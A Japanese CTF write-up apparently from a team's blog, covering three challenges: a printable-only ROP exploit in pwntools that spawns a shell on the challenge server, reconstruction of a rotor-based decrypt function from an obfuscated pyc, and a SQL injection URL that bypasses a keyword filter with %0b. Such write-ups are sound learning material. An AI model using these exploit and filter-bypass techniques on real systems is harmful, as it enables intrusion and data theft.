char
ropできるんだけど、送りこめるデータが識字可能文字だけ、という問題。rop用にlibcが0x5555e000あたりにロードされる。まぁ、ある意味頑張ればできる問題なので、solverは結構いた。
方針は、/bin/shのアドレス(0x556bb7ec)自体は、ロード不可能な文字列を含むので、それに近くてロード可能なアドレスである0x556b7e7eをebxにロードし、ebxに0x396eを足す。そして、システムコールexecve(ebx=“/bin/sh”, ecx = [“/bin/sh”, NULL], edx=0)の状態を作る。
しかし、一度作ったebxのアドレスをecxにコピーする手段が思いつかなかったので、eaxにもう一つ作って(今度は0x556b7e39をロードしてah + alしてal+0x35)、[edx] に書き込んだ。ここで、なぜか(理由はなんにせよ)ecxとedxがrop開始時に同じアドレスを指していることを利用した。
# coding:utf-8 from __future__ import print_function from pwn import * shellcode = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef" shellcode += "(0dU" # pop ebx shellcode += "~~kU" # addr(0x556b7e7e) shellcode += "7zaU" # mov eax, 0x20 shellcode += "cBdU"*0x19 # inc eax 0x19 times shellcode += "`(mU" # add ah, al shellcode += "cBdU"*0x35 # inc eax 0x35 times shellcode += "CNcU" # add bh, ah shellcode += ">d_U" # add bl, al shellcode += "_mgU" # pop eax; add esp, 0x5c shellcode += "9~KU" # addr(0x556b7e39) shellcode += "A" * 0x5c # dummy shellcode += "`(mU" # add ah, al shellcode += "cBdU"*0x35 # inc eax 0x35 times shellcode += "r{^U" # mov dword [edx], eax; ea eax, dword [edx+0x03] shellcode += "z-dU"*0x4 # inc edx; xor eax, eax -> edx +4 shellcode += "r{^U" # mov dword [edx], eax; ea eax, dword [edx+0x03] shellcode += "?yaU" # mov edx, 0xffffffff shellcode += "z-dU" # inc edx; xor eax, eax shellcode += "cBdU"*0xb # inc eax 0xb times shellcode += "wqfU" # int 0x80 print(shellcode) host = "202.120.7.214" port = 23222 r = remote(host, port) r.recvuntil("GO : )") r.sendline(shellcode) r.interactive() # ref # https://www.goto.info.waseda.ac.jp/~kiire/bin/rop.php # http://qiita.com/kusano_k/items/ce48945f9ee8763edd1c
py
これも頑張ればできる問題。solverも多かった。pycが渡されるが、なぜかopecodeを入れ替えたらしい(意味不明)。ただ、入れ替えたのはopcodeのみで、opcodeが使う変数などのindexはいじられていないので、opcodeが70以上かどうかは見ればすぐわかるし、ソースコードが短いので、だいたい雰囲気はつかめる。また、ロードしている変数名から、rotorというライブラリを使っているらしいこともわかるのであとは気合を出す。decrypt関数だけ復元したものが次。<39>が、strとintの演算子でずっと[]のどれかだと思っていたのでつらい
def decrypt(data): key_a = "!@#$%^&*" key_b = "abcdefgh" key_c = '<>{}:"' key = key_a * 4 + "|" + (key_b + key_a + key_c)*2 + "|" + key_b*2 + "EOF" secret = rotor.newrotor(key) return secret.decrypt(data)
simplesqlin
まぁ、これは。solver300人くらいいた気がする。%0bを入れると避けられることをtotemさんが教えてどこかへ行ってしまったので、解いた。
http://202.120.7.203/index.php?id=5 union SE%0bLECT 0,0,flag FRO%0bM flag
暇だったので参加したけれど、各位は忙しそうだったので、daiさんと二人での参加に(ほぼ)なった。二日間あったけど、結局最終日の夜あたりが一番やっていた。2日あっても集中できるのは1日もないということなので、CTFは1日でよいという気持ちになった